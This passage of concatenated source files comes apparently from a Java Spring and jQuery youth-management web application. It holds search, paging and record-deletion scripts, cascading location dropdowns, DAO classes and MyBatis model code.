+ "/resources/img/icon_del.png'></td>"); // row close tag tableStringArray.push("</tr>"); } // add tbody close tag tableStringArray.push("</tbody>"); // append all created string to table $("#tblBody").append(tableStringArray.join('')); // show search result $(".cont-box").removeClass("display-none"); $("#divHead").removeClass("display-none"); $(".pager").removeClass("display-none"); // fix table header and body when scrolling only the table body fixTable(); // fix table height to fit page var tableHeight = calculateTableHeight(); $("#divBody").height(tableHeight); $("#divBody").addClass("overflow-x"); // update total data count UI setDataCounts(); setPagerStatus(); // scroll to top of table $("#divBody").scrollTop(0).scrollLeft(0);*/ $(function () { for (var i = 0; i < returnedJsonData.length; i++) { var d = (data[i] = {}); d["kskquanStt"] = returnedJsonData[i].kskquanStt; d["personName"] = returnedJsonData[i].personName; d["lltnStt"] = returnedJsonData[i].lltnStt; d["personId"] = returnedJsonData[i].personId; d["personName"] = returnedJsonData[i].personName; d["dateOfBirth"] = returnedJsonData[i].dateOfBirth; d["monthOfBirth"] = returnedJsonData[i].monthOfBirth; d["yearOfBirth"] = returnedJsonData[i].yearOfBirth; d["placeOfBirth"] = returnedJsonData[i].cityName; d["identityCard"] = returnedJsonData[i].identityCard; d["nativeCountry"] = returnedJsonData[i].countryName; d["nation"] = returnedJsonData[i].nation; d["religion"] = returnedJsonData[i].religion; d["permanentAddress"] = returnedJsonData[i].permanentAddress; d["temporaryResidenceAddress"] = returnedJsonData[i].temporaryResidenceAddress; d["national"] = returnedJsonData[i].national; d["element"] = returnedJsonData[i].element; d["graduationYear"] = returnedJsonData[i].graduationYear; d["jobId"] = returnedJsonData[i].jobId; d["workPlace"] = returnedJsonData[i].workPlace; } grid = new Slick.Grid("#myGrid", data, columns, options); grid.onAddNewRow.subscribe(function (e, args) { var item = { "id": args["name"], "value": "New value" }; $.extend(item, args.item); dataView.addItem(item); }); grid.onValidationError.subscribe(function (e, args) { alert(args.validationResults.msg); }); }) } } else { // display error message jWarning(SEARCH_RESULT_NO_DATA_MESSAGE, DIALOG_TITLE, DIALOG_OK_BUTTON); // update pager $("#lblCurrentPage").text("0"); $("#lblMaxPage").text("0"); $("#divHead").addClass("display-none"); $(".pager").addClass("display-none"); // clear table $("#tblBody").find("tbody").remove(); totalResultCount = 0; // update total data count UI setDataCounts(); setPagerStatus(); } returnValue = totalResultCount; }, error: function(e) { // set return value returnValue = ""; // display error message jWarning(ERROR_MESSAGE, DIALOG_TITLE, DIALOG_OK_BUTTON); } }); return returnValue; } // Search conditions object creation process function createSearchConditions() { // country Id var countryIdDefault = $("#countryId").val(); var countryId = $("#cbbCountry").val(); if (countryIdDefault != "") { if (countryIdDefault != "") { if (countryId != null) { countryId = countryIdDefault; } else { countryId = STATUS_NO_SELECT; } } } // city var cityIdDefault = $("#cityId").val(); var cityId = $("#cbbCity").val(); if (cityIdDefault != "") { if (cityId != null) { cityId = cityIdDefault; } else { cityId = STATUS_NO_SELECT; } } // dsitrict Id var districtIdDefault = $("#districtId").val(); var districtId = $("#cbbDistrict").val(); if (districtIdDefault != "") { if (districtId != null) { districtId = districtIdDefault; } else { districtId = STATUS_NO_SELECT; } } // wards Id var wardsIdDefault = $("#wardsId").val(); var wardsId = $("#cbbWards").val(); if (wardsIdDefault != "") { if (wardsIdDefault != "") { if (wardsId != null) { wardsId = wardsIdDefault; } else { wardsId = STATUS_NO_SELECT; } } } // town Id var townIdDefault = $("#townId").val(); var townId = $("#cbbTown").val(); if (townIdDefault != "") { if (townIdDefault != "") { if (townId != null) { townId = townIdDefault; } else { townId = STATUS_NO_SELECT; } } } // groups Id var groupsIdDefault = $("#groupsId").val(); var groupsId = $("#cbbGroups").val(); if (groupsIdDefault != "") { if (groupsId != null) { groupsId = groupsIdDefault; } else { groupsId = STATUS_NO_SELECT; } } var personName = $("#txtPersonName").val(); var identityCard = $("#identityCard").val(); // category Id var cateIdDefault = $("#cateId").val(); var cateId = $("#cbbCate").val(); if (cateIdDefault != "") { if (cateId != null) { cateId = cateIdDefault; } else { cateId = STATUS_NO_SELECT; } } // status Id var statusIdDefault = $("#statusId").val(); var statusId = $("#cbbStatus").val(); if (statusIdDefault != "") { if (statusId != null) { statusId = statusIdDefault; } else { statusId = STATUS_NO_SELECT; } } // education Id var educationIdDefault = $("#educationId").val(); var educationId = $("#cbbEducation").val(); if (educationIdDefault != "") { if (educationId != null) { educationId = educationIdDefault; } else { educationId = STATUS_NO_SELECT; } } // university Id var universityIdDefault = $("#universityId").val(); var universityId = $("#cbbUniversity").val(); if (universityIdDefault != "") { if (universityId != null) { universityId = universityIdDefault; } else { universityId = STATUS_NO_SELECT; } } // specialized Id var specializedIdDefault = $("#specializedId").val(); var specializedId = $("#cbbSpecialized").val(); if (specializedIdDefault != "") { if (specializedId != null) { specializedId = specializedIdDefault; } else { specializedId = STATUS_NO_SELECT; } } return { cateId : cateId, statusId: statusId, personName: personName, identityCard: identityCard, countryId: countryId, cityId: cityId, districtId: districtId, wardsId: wardsId, townId: townId, groupsId: groupsId, educationId: educationId, universityId: universityId, specializedId: specializedId, fromRow: from, itemCount: ITEM_IN_ONE_PAGE }; } // Update total data count process function setDataCounts() { $("#txtCounts").text(totalResultCount.toString().replace(/^(-?\d+)(\d{3})/, "$1,$2")); } // Clear all current text of popup controls function clearPopupControl() { // country Name $("#txtCountryNamePopup").val(""); // country Id $("#txtCountryIdPopup").val(""); // city Id $("#txtCityIdPopup").val(""); // city Name $("#txtCityNamePopup").val(""); // district Id $("#txtDistrictIdPopup").val(""); // district Name $("#txtDistrictNamePopup").val(""); // wards Id $("#txtWardsIdPopup").val(""); // wards Name $("#txtWardsNamePopup").val(""); // town Id $("#txtTownIdPopup").val(""); // town Name $("#txtTownNamePopup").val(""); // Groups $("#txtGroupsIdPopup").val(""); // Groups Name $("#txtGroupsNamePopup").val(""); // Groups Code $("#txtGroupsCodePopup").val(""); } // Change state of controls in popup based on mode function setPopupControlState(mode) { if (mode == MODE_NEW) { // set current mode currentMode = MODE_NEW; $("#addNew").removeClass("display-none"); $("#update").addClass("display-none"); $("#txtCountryNamePopup").prop("disabled", true); $("#txtCityNamePopup").prop("disabled", true); $("#txtDistrictNamePopup").prop("disabled", true); $("#txtWardsNamePopup").prop("disabled", true); $("#txtTownNamePopup").prop("disabled", true); // Groups Id $("#txtGroupsIdPopup").prop("disabled", false); // Groups Name $("#txtGroupsNamePopup").prop("disabled", false); // Groups Code $("#txtGroupsCodePopup").prop("disabled", false); // register button $("#btnRegisterPopup").show(); } else if (mode == MODE_EDIT) { $("#update").removeClass("display-none"); $("#addNew").addClass("display-none"); // set current mode currentMode = MODE_EDIT; // reset flag isPasswordChanged = false; $("#txtCountryNamePopup").prop("disabled", true); $("#txtCityNamePopup").prop("disabled", true); $("#txtDistrictNamePopup").prop("disabled", true); $("#txtWardsNamePopup").prop("disabled", true); $("#txtTownNamePopup").prop("disabled", true); // Groups Id $("#txtGroupsIdPopup").prop("disabled", false); // Groups Name $("#txtGroupsNamePopup").prop("disabled", false); // Groups Code $("#txtGroupsCodePopup").prop("disabled", false); // register button $("#btnRegisterPopup").show(); } } // display current date $("#txtCurrentDate").text(getCurrentDate() + " (" + DAY_OF_WEEK + ") " + getCurrentTime()); // Page First button click event process $("#btnFirst").bind("click", function() { if (parseInt(totalResultCount) > 0) { if (currentPage > 1) { var newPage = 1; goToPage(newPage); } } }); // Page Previous button click event process $("#btnPrevious").bind("click", function() { if (parseInt(totalResultCount) > 0) { if (currentPage > 1) { var newPage = currentPage - 1; goToPage(newPage); } } }); // Page Next button click event process $("#btnNext").bind("click", function() { if (parseInt(totalResultCount) > 0) { if (currentPage < maxPage) { var newPage = currentPage + 1; goToPage(newPage); } } }); // Page Last button click event process $("#btnLast").bind("click", function() { if (parseInt(totalResultCount) > 0) { if (currentPage < maxPage) { var newPage = maxPage; goToPage(newPage); } } }); // Search button event process $("#btnSearch").bind("click", function() { setTimeout(function() { // reset variables resetVariables(); // draw table drawResult = drawTable(); if (drawResult != "") { // update total data count UI setDataCounts(); } }, 10); }); // Update total data count process function setDataCounts() { $("#txtCounts").text(totalResultCount.toString().replace(/^(-?\d+)(\d{3})/, "$1,$2")); } // Reset variables process function resetVariables() { totalResultCount = 0; currentPage = 1; from = 0; } // Check Page input $("#txtGoToPage").bind("keyup", function() { var value = parseInt($(this).val()); if (value > 0) { $("#btnGoToPage").prop("disabled", false); $("#btnGoToPage").css("cursor", "pointer"); } if (isNaN(value) || $(this).val() == "" || (currentPage == maxPage && (maxPage == 1 || maxPage == 0))) { $("#btnGoToPage").prop("disabled", true); $("#btnGoToPage").css("cursor", "default"); } }); $("#txtGoToPage").bind("keydown", function(event) { // Allow: backspace, delete, tab, escape, enter if ($.inArray(event.keyCode, [ 46, 8, 9, 27, 13 ]) !== -1 || // Allow: Ctrl+A, Command+A (event.keyCode == 65 && (event.ctrlKey === true || event.metaKey === true)) || // Allow: home, end, left, // right, down, up (event.keyCode >= 35 && event.keyCode <= 40)) { // let it happen, don't do anything return; } // Ensure that it is a number and stop // the keypress if ((event.shiftKey || (event.keyCode < 48 || event.keyCode > 57)) && (event.keyCode < 96 || event.keyCode > 105)) { event.preventDefault(); } }); // Page Go button click event process $("#btnGoToPage").bind("click", function() { var newPage = parseInt($("#txtGoToPage").val()); if (newPage >= 1 && newPage <= maxPage && maxPage > 0) { currentPage = newPage; goToPage(currentPage); } else if (newPage >= 1 && newPage > maxPage && maxPage > 0) { newPage = maxPage; goToPage(newPage); } else if (newPage == 0 && maxPage > 0) { newPage = 1; goToPage(newPage); } }); // Get data of search result based on page number function goToPage(newPage) { setTimeout(function() { // newPage is 0-index based newPage = parseInt(newPage) - 1; from = parseInt(ITEM_IN_ONE_PAGE) * newPage; // draw new data var drawResult = drawTable(); if (drawResult != "") { currentPage = newPage + 1; // update pager $("#lblCurrentPage").text(currentPage); $("#lblMaxPage").text(maxPage); setPagerStatus(); } // update total data count UI setDataCounts(); }, 10); } // Update UI of pager based on search result function setPagerStatus() { $("#txtGoToPage").val(""); if (parseInt(totalResultCount) > 0) { if (parseInt(maxPage) == 1) { $("#btnFirst").addClass("page-number-first_dis"); $("#btnPrevious").addClass("page-number-pre_dis"); $("#btnNext").addClass("page-number-next_dis"); $("#btnLast").addClass("page-number-last_dis"); $("#txtGoToPage").prop("readonly", true); } else { if (currentPage == 1) { $("#btnFirst").addClass("page-number-first_dis"); $("#btnPrevious").addClass("page-number-pre_dis"); $("#btnNext").removeClass("page-number-next_dis"); $("#btnLast").removeClass("page-number-last_dis"); } if (currentPage > 1 && currentPage < maxPage) { $("#btnFirst").removeClass("page-number-first_dis"); $("#btnPrevious").removeClass("page-number-pre_dis"); $("#btnNext").removeClass("page-number-next_dis"); $("#btnLast").removeClass("page-number-last_dis"); } if (currentPage == maxPage) { $("#btnFirst").removeClass("page-number-first_dis"); $("#btnPrevious").removeClass("page-number-pre_dis"); $("#btnNext").addClass("page-number-next_dis"); $("#btnLast").addClass("page-number-last_dis"); } $("#txtGoToPage").prop("readonly", false); } } else { $("#btnFirst").addClass("page-number-first_dis"); $("#btnPrevious").addClass("page-number-pre_dis"); $("#btnNext").addClass("page-number-next_dis"); $("#btnLast").addClass("page-number-last_dis"); $("#txtGoToPage").prop("readonly", true); } $("#txtGoToPage").val(""); $("#btnGoToPage").prop("disabled", true); $("#btnGoToPage").css("cursor", "default"); } //Now define your DeleteFormatter function function DeleteFormatter(row,cell,value,columnDef,data){ var button = "<span id='"+ data.personId +"' style='color: red;' class='glyphicon glyphicon-remove delete btnDelete cursor-pointer'></span>"; //the id is so that you can identify the row when the particular button is clicked return button; //Now the row will display your button } //Now define your DeleteFormatter function function EditFormatter(row,cell,value,columnDef,data){ var button = "<span id='"+ data.personId +"' style='color: #1cec1c;' class='glyphicon glyphicon-edit edit cursor-pointer'></span>"; //the id is so that you can identify the row when the particular button is clicked return button; //Now the row will display your button } //Now you can use jquery to hook up your delete button event $('.btnDelete').live('click', function(){ var me = $(this), personId = me.attr('id'); $.ajax({ type: "POST", url: "deleteData", data: { "personId": personId }, async: false, success: function(returnedJsonData) { if (checkSessionTimeout(returnedJsonData) == 1) return; // display message jInfo(DELETE_RESULT_SUCCESSFUL_MESSAGE, DIALOG_TITLE, DIALOG_OK_BUTTON); setTimeout(function() { // reset variables // draw table //drawResult = drawTableReport(); drawTable(); }, 1000); }, error: function(e) { // display error message alert(ERROR_MESSAGE); } }); }); $(document).on("click", ".edit", function() { // farm Id var me = $(this), personId = me.attr('id'); $('<form>', { "id": "formTranfer", "html": '<input type="hidden" id="countryId" name="personId" value="' + personId + '" />', "method": 'POST', "action": 'changePage' }).appendTo(document.body).submit(); }); })``` HomeController.java ```package vn.youthmanager.ict.youth.controller; import org.springframework.stereotype.Controller; /** * Handles requests for the application home page. */ @Controller public class HomeController { } ``` 0043.js ```$(document).ready(function(){ // Country name combobox change event process $("#cbbCountry").bind("change", function() { // load city name combobox loadCityDataCombobox(false); }); // Country name combobox change event process $("#cbbCity").bind("change", function() { // load District name combobox loadDistrictDataByCityId(false); }); // District name combobox change event process $("#cbbDistrict").bind("change", function() { // load Wards name combobox loadWardsDataByDistrictId(false); }); // Wards name combobox change event process $("#cbbWards").bind("change", function() { // load Town name combobox loadTownDataByWardsId(false); }); // Town name combobox change event process $("#cbbTown").bind("change", function() { // load Groups name combobox loadGroupsDataByTownId(false); }); // univeristy name combobox change event process in Popup $("#cbbEducation").bind("change", function() { // load Town name combobox loadUniversityDataByeducationId(false); }); // univeristy name combobox change event process $("#cbbUniversity").bind("change", function() { // load Town name combobox loadSpecializedDataByUniverisityId(false); }); initData(); drawTable0049Report(); // display current date $("#txtCurrentDate").text(" " + getCurrentDate() + " (" + DAY_OF_WEEK + ") " + getCurrentTime()); $(".row_reportId").click(function(){ var reportId = $(this).attr("id"); var reportName = $(this).text(); $.ajax({ type: "POST", url: "getDetailReport", data: {"reportId": reportId}, async: false, success: function(returnedJsonData) { if (checkSessionTimeout(returnedJsonData) == 1) return; if (returnedJsonData.length > 0) { // set title cho Popup $(".modal-title").text(reportName); } else { } } }); }) function drawTable0049Report() { if (reportData != '') { // clear table $("#divBodyReport > #tblBodyReport").find("tbody").remove(); // create table starts var tableStringArray = []; // add tbody open tag tableStringArray.push("<tbody>"); var count = 0; $("#txtCounts").text(reportData.length); for (var i = 0; i < reportData.length; i++) { count++ // row open tag tableStringArray.push("<tr class = 'height34' id='row" + i + "'>"); // reportName tableStringArray.push("<td style = 'width: 10%'>" + count + "</td>"); // reportName tableStringArray.push("<td id = '" + reportData[i].reportId + "' class = 'row_reportId algin-center' name = '" + i + "' data-toggle='modal' data-target='#modal-default'>" + reportData[i].reportName + "</td>"); // row close tag tableStringArray.push("</tr>"); } // add tbody close tag tableStringArray.push("</tbody>"); // append all created string to table $("#divBodyReport > #tblBodyReport").append(tableStringArray.join('')); // show search result $(".cont-box").removeClass("display-none"); $("#divHeadReport").removeClass("display-none"); // fix table header and body when scrolling only the table body fixTable(); // scroll to top of table $("#divBodyReport").scrollTop(0).scrollLeft(0); } } function initData() { // country if (countryData != "") { var optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; for (var i = 0; i < countryData.length; i++) { if (i == 0) { optionStr += "<option value='" + countryData[i].countryId + "' selected = 'selected'>" + countryData[i].countryName + "</option>"; } else { optionStr += "<option value='" + countryData[i].countryId + "'>" + countryData[i].countryName + "</option>"; } } $("#cbbCountry").empty() $("#cbbCountry").append(optionStr); loadCityDataCombobox(false); } else { $("#cbbCountry").empty() $("#cbbCountry").prop("disabled", true); } // Cate if (cateData != "") { var optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; for (var i = 0; i < cateData.length; i++) { optionStr += "<option value='" + cateData[i].cateId + "'>" + cateData[i].cateName + "</option>"; } $("#cbbCate").empty() $("#cbbCate").append(optionStr); } else { $("#cbbCate").empty() $("#cbbCate").prop("disabled", true); } // Status if (statusData != "") { var optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; for (var i = 0; i < statusData.length; i++) { optionStr += "<option value='" + statusData[i].statusId + "'>" + statusData[i].statusName + "</option>"; } $("#cbbStatus").empty() $("#cbbStatus").append(optionStr); } else { $("#cbbStatus").empty() $("#cbbStatus").prop("disabled", true); } // Education if (eduactionData != "") { var optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; for (var i = 0; i < eduactionData.length; i++) { if (i == 0) { optionStr += "<option value='" + eduactionData[i].educationId + "' selected = 'selected'>" + eduactionData[i].level + "</option>"; } else { optionStr += "<option value='" + eduactionData[i].educationId + "'>" + eduactionData[i].level + "</option>"; } } $("#cbbEducation > ").empty() $("#cbbEducation").append(optionStr); loadUniversityDataByeducationId(false); } else { $("#cbbEducation").empty() $("#cbbEducation").prop("disabled", true); } } // Load Area name combobox data function loadCityDataCombobox(isPopupMode) { var selectedCountryId = ""; selectedCountryId = $("#cbbCountry").find("option:selected").val(); if (selectedCountryId != STATUS_NO_SELECT) { // make Ajax call to server to get data $.ajax({ type: "POST", url: "getCityDataByCountryId", data: { "countryId": selectedCountryId }, async: false, success: function(returnedJsonData) { if (checkSessionTimeout(returnedJsonData) == 1) return; // create option string var optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; if (returnedJsonData != "") { for (var i = 0; i < returnedJsonData.length; i++) { optionStr += "<option value='" + returnedJsonData[i].cityId + "'>" + returnedJsonData[i].cityName + "</option>"; } } // enable combobox if (returnedJsonData != "") { // set options to combobox $("#cbbCity").empty().append(optionStr); $("#cbbCity").prop("disabled", false); loadDistrictDataByCityId(false); } else { // reset empty combobox and disabled $("#cbbCity").empty().append(optionStr).prop("disabled", true); $("#cbbDistrict").empty().append(optionStr).prop("disabled", true); $("#cbbWards").empty().append(optionStr).prop("disabled", true); $("#cbbTown").empty().append(optionStr).prop("disabled", true); $("#cbbGroups").empty().append(optionStr).prop("disabled", true); } }, error: function(e) { // display error message alert(ERROR_MESSAGE); } }); } else { // clear combobox $("#cbbCity").empty(); $("#cbbDistrict").empty(); $("#cbbWards").empty(); $("#cbbTown").empty(); // disable combobox $("#cbbCity").prop("disabled", true); $("#cbbDistrict").prop("disabled", true); $("#cbbWards").prop("disabled", true); $("#cbbTown").prop("disabled", true); $("#cbbGroups").empty().prop("disabled", true); } } function loadDistrictDataByCityId(isPopupMode) { var selectedCountryId = ""; // get cityId var selectCityId = ""; if (isPopupMode) { selectedCountryId = $("#cbbCountryPopup").find("option:selected").val(); selectCityId = $("#cbbCityPopup").find("option:selected").val(); } else { selectedCountryId = $("#cbbCountry").find("option:selected").val(); selectCityId = $("#cbbCity").find("option:selected").val(); } // create option string var optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; if (selectedCountryId != STATUS_NO_SELECT) { // make Ajax call to server to get data $.ajax({ type: "POST", url: "getDistrictDataByCityId", data: { "countryId": selectedCountryId, "cityId": selectCityId }, async: false, success: function(returnedJsonData) { if (checkSessionTimeout(returnedJsonData) == 1) return; // create option string optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; if (returnedJsonData != "") { for (var i = 0; i < returnedJsonData.length; i++) { optionStr += "<option value='" + returnedJsonData[i].districtId + "'>" + returnedJsonData[i].districtName + "</option>"; } } // enable combobox if (returnedJsonData != "") { // set options to combobox $("#cbbDistrict").empty().append(optionStr); $("#cbbDistrict").prop("disabled", false); loadWardsDataByDistrictId(false); } else { $("#cbbDistrict").empty().append(optionStr).prop("disabled", true); $("#cbbWards").empty().append(optionStr).prop("disabled", true); $("#cbbTown").empty().append(optionStr).prop("disabled", true); $("#cbbGroups").empty().append(optionStr).prop("disabled", true); } }, error: function(e) { // display error message alert(ERROR_MESSAGE); } }); } else { // clear & disable combobox $("#cbbDistrict").empty().append(optionStr).prop("disabled", true); $("#cbbWards").empty().append(optionStr).prop("disabled", true); $("#cbbTown").empty().append(optionStr).prop("disabled", true); $("#cbbGroups").empty().append(optionStr).prop("disabled", true); } } function loadWardsDataByDistrictId(isPopupMode) { var selectedCountryId = ""; // get cityId var selectCityId = ""; // get District var selectDistrictId = "" selectedCountryId = $("#cbbCountry").find("option:selected").val(); selectCityId = $("#cbbCity").find("option:selected").val(); selectDistrictId = $("#cbbDistrict").find("option:selected").val(); // create option string var optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; if (selectedCountryId != STATUS_NO_SELECT && selectCityId != STATUS_NO_SELECT) { // make Ajax call to server to get data $.ajax({ type: "POST", url: "getWardsDataByDistrictId", data: { "countryId": selectedCountryId, "cityId": selectCityId, "districtId" : selectDistrictId }, async: false, success: function(returnedJsonData) { if (checkSessionTimeout(returnedJsonData) == 1) return; optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; if (returnedJsonData != "") { for (var i = 0; i < returnedJsonData.length; i++) { optionStr += "<option value='" + returnedJsonData[i].wardsId + "'>" + returnedJsonData[i].wardsName + "</option>"; } } // enable combobox if (returnedJsonData != "") { $("#cbbWards").empty().append(optionStr); $("#cbbWards").prop("disabled", false); loadTownDataByWardsId(false); } else { $("#cbbWards").empty().append(optionStr).prop("disabled", true); $("#cbbTown").empty().append(optionStr).prop("disabled", true); $("#cbbGroups").empty().append(optionStr).prop("disabled", true); } }, error: function(e) { // display error message alert(ERROR_MESSAGE); } }); } else { // clear combobox disable combobox $("#cbbWards").empty().append(optionStr).prop("disabled", true); $("#cbbTown").empty().append(optionStr).prop("disabled", true); $("#cbbGroups").empty().append(optionStr).prop("disabled", true); } } function loadTownDataByWardsId(isPopupMode) { var selectedCountryId = ""; // get cityId var selectCityId = ""; // get District var selectDistrictId = ""; // get Wards var selectWardsId = ""; selectedCountryId = $("#cbbCountry").find("option:selected").val(); selectCityId = $("#cbbCity").find("option:selected").val(); selectDistrictId = $("#cbbDistrict").find("option:selected").val(); selectWardsId = $("#cbbWards").find("option:selected").val(); // create option string var optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; if (selectedCountryId != STATUS_NO_SELECT && selectCityId != STATUS_NO_SELECT && selectWardsId != STATUS_NO_SELECT) { // make Ajax call to server to get data $.ajax({ type: "POST", url: "getTownDataByWardsId", data: { "countryId": selectedCountryId, "cityId": selectCityId, "districtId" : selectDistrictId, "wardsId" : selectWardsId }, async: false, success: function(returnedJsonData) { if (checkSessionTimeout(returnedJsonData) == 1) return; optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; if (returnedJsonData != "") { for (var i = 0; i < returnedJsonData.length; i++) { optionStr += "<option value='" + returnedJsonData[i].townId + "'>" + returnedJsonData[i].townName + "</option>"; } } // enable combobox if (returnedJsonData != "") { // set options to combobox $("#cbbTown").empty().append(optionStr); $("#cbbTown").prop("disabled", false); loadGroupsDataByTownId(false); } else { $("#cbbTown").empty().append(optionStr).prop("disabled", true); } }, error: function(e) { // display error message alert(ERROR_MESSAGE); } }); } else { $("#cbbTown").empty().append(optionStr).prop("disabled", true) } } function loadGroupsDataByTownId(isPopupMode) { var selectedCountryId = ""; // get cityId var selectCityId = ""; // get District var selectDistrictId = "" // get Wards var selectWardsId = "" // get Town var selectTownId = "" selectedCountryId = $("#cbbCountry").find("option:selected").val(); selectCityId = $("#cbbCity").find("option:selected").val(); selectDistrictId = $("#cbbDistrict").find("option:selected").val(); selectWardsId = $("#cbbWards").find("option:selected").val(); selectTownId = $("#cbbTown").find("option:selected").val(); // create option string var optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; if (selectedCountryId != STATUS_NO_SELECT && selectCityId != STATUS_NO_SELECT && selectWardsId != STATUS_NO_SELECT) { // make Ajax call to server to get data $.ajax({ type: "POST", url: "getGroupsDataByTownId", data: { "countryId": selectedCountryId, "cityId": selectCityId, "districtId" : selectDistrictId, "wardsId" : selectWardsId, "townId" : selectTownId }, async: false, success: function(returnedJsonData) { if (checkSessionTimeout(returnedJsonData) == 1) return; optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; if (returnedJsonData != "") { for (var i = 0; i < returnedJsonData.length; i++) { optionStr += "<option value='" + returnedJsonData[i].groupsId + "'>" + returnedJsonData[i].groupsName + "</option>"; } } // enable combobox if (returnedJsonData != "") { $("#cbbGroups").empty().append(optionStr); $("#cbbGroups").prop("disabled", false); } else { $("#cbbGroups").empty().append(optionStr).prop("disabled", true); } }, error: function(e) { // display error message alert(ERROR_MESSAGE); } }); } else { $("#cbbGroups").empty().append(optionStr).prop("disabled", true); } } // Load University Data into selected Box function loadUniversityDataByeducationId(isPopupMode) { var selectedEducationId = ""; selectedEducationId = $("#cbbEducation").find("option:selected").val(); // create option string var optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; if (selectedEducationId != STATUS_NO_SELECT) { // make Ajax call to server to get data $.ajax({ type: "POST", url: "getUniversityDataByEducationId", data: { "educationId": selectedEducationId }, async: false, success: function(returnedJsonData) { if (checkSessionTimeout(returnedJsonData) == 1) return; if (returnedJsonData != "") { for (var i = 0; i < returnedJsonData.length; i++) { optionStr += "<option value='" + returnedJsonData[i].universityId + "'>" + returnedJsonData[i].universityName + "</option>"; } } // enable combobox if (returnedJsonData != "") { // set options to combobox $("#cbbUniversity").empty().append(optionStr); $("#cbbUniversity").prop("disabled", false); loadSpecializedDataByUniverisityId(false); } else { // reset empty combobox and disabled $("#cbbUniversity").empty().append(optionStr).prop("disabled", true); $("#cbbSpecialized").empty().append(optionStr).prop("disabled", true); } }, error: function(e) { // display error message alert(ERROR_MESSAGE); } }); } else { // clear combobox $("#cbbUniversity").empty(); // disable combobox $("#cbbUniversity").append(optionStr).prop("disabled", true); // clear combobox $("#cbbSpecialized").empty(); // disable combobox $("#cbbSpecialized").append(optionStr).prop("disabled", true); } } // Load Specialized name combobox data function loadSpecializedDataByUniverisityId(isPopupMode) { var selectedUniversityId = ""; selectedUniversityId = $("#cbbUniversity").find("option:selected").val(); // create option string var optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; if (selectedUniversityId != STATUS_NO_SELECT) { // make Ajax call to server to get data $.ajax({ type: "POST", url: "getSpecializedDataByUniversityId", data: { "universityId": selectedUniversityId }, async: false, success: function(returnedJsonData) { if (checkSessionTimeout(returnedJsonData) == 1) return; if (returnedJsonData != "") { for (var i = 0; i < returnedJsonData.length; i++) { optionStr += "<option value='" + returnedJsonData[i].specializedId + "'>" + returnedJsonData[i].specializedName + "</option>"; } } // enable combobox if (returnedJsonData != "") { // set options to combobox $("#cbbSpecialized").empty().append(optionStr); $("#cbbSpecialized").prop("disabled", false); } else { // reset empty combobox and disabled $("#cbbSpecialized").empty(); $("#cbbSpecialized").empty().append(optionStr).prop("disabled", true); } }, error: function(e) { // display error message alert(ERROR_MESSAGE); } }); } else { // clear combobox $("#cbbSpecialized").empty(); // disable combobox $("#cbbSpecialized").append(optionStr).prop("disabled", true); } } });``` Sym0043Dao.java ```package vn.youthmanager.ict.youth.dao; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; import vn.youthmanager.ict.common.db.mapper.QltnMFamilyRelativesMapper; import vn.youthmanager.ict.common.db.mapper.QltnMNoteReportMapper; import vn.youthmanager.ict.common.db.mapper.QltnMPersonMapper; import vn.youthmanager.ict.common.db.mapper.QltnMProcessPersonMapper; import vn.youthmanager.ict.youth.db.mapper.Sym0043Mapper; @Component public class Sym0043Dao { @Autowired private QltnMPersonMapper qltnMPersonMapper; @Autowired private QltnMNoteReportMapper qltnMNoteReportMapper; @Autowired private QltnMProcessPersonMapper qltnMProcessPersonMapper; @Autowired private QltnMFamilyRelativesMapper qltnMFamilyRelativesMapper; @Autowired private Sym0043Mapper sym0043Mapper; public QltnMPersonMapper getQltnMPersonMapper() { return qltnMPersonMapper; } public Sym0043Mapper getSym0043Mapper() { return sym0043Mapper; } public QltnMNoteReportMapper getQltnMNoteReportMapper() { return qltnMNoteReportMapper; } public QltnMProcessPersonMapper getQltnMProcessPersonMapper() { return qltnMProcessPersonMapper; } public QltnMFamilyRelativesMapper getQltnMFamilyRelativesMapper() { return qltnMFamilyRelativesMapper; } } ``` 6faa85a39795d61335cce543771099172f2c6578.svn-base ```package vn.youthmanager.ict.youth.db.mapper; import java.util.List; import java.util.Map; import vn.youthmanager.ict.common.db.model.QltnMUsers; public interface HomeMapper { List<QltnMUsers> searchData(Map<String, Object> params); } ``` f3c6120368ee3330dfc0a927ef22105691977831.svn-base ```package vn.youthmanager.ict.youth.dao; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; import vn.youthmanager.ict.common.db.mapper.QltnMAccessAuthorizationMapper; import vn.youthmanager.ict.youth.db.mapper.Sym0033Mapper; @Component public class Sym0033Dao { @Autowired private QltnMAccessAuthorizationMapper qltnMAccessAuthorizationMapper; @Autowired private Sym0033Mapper sym0033Mapper; public QltnMAccessAuthorizationMapper getQltnMAccessAuthorizationMapper() { return qltnMAccessAuthorizationMapper; } /** * @return the sym0033Mapper */ public Sym0033Mapper getSym0033Mapper() { return sym0033Mapper; } } ``` Sym0053Result.java ```package vn.youthmanager.ict.youth.db.model; import vn.youthmanager.ict.common.db.model.QltnMNoteReport; public class Sym0053Result extends QltnMNoteReport { private String reportName; private String detailReportName; private String criteraName; public String getReportName() { return reportName; } public void setReportName(String reportName) { this.reportName = reportName; } public String getDetailReportName() { return detailReportName; } public void setDetailReportName(String detailReportName) { this.detailReportName = detailReportName; } public String getCriteraName() { return criteraName; } public void setCriteraName(String criteraName) { this.criteraName = criteraName; } } ``` QltnMUniversity.java ```package vn.youthmanager.ict.common.db.model; import java.util.Date; public class QltnMUniversity { /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_university.UNIVERSITY_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String universityId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_university.UNIVERSITY_CODE 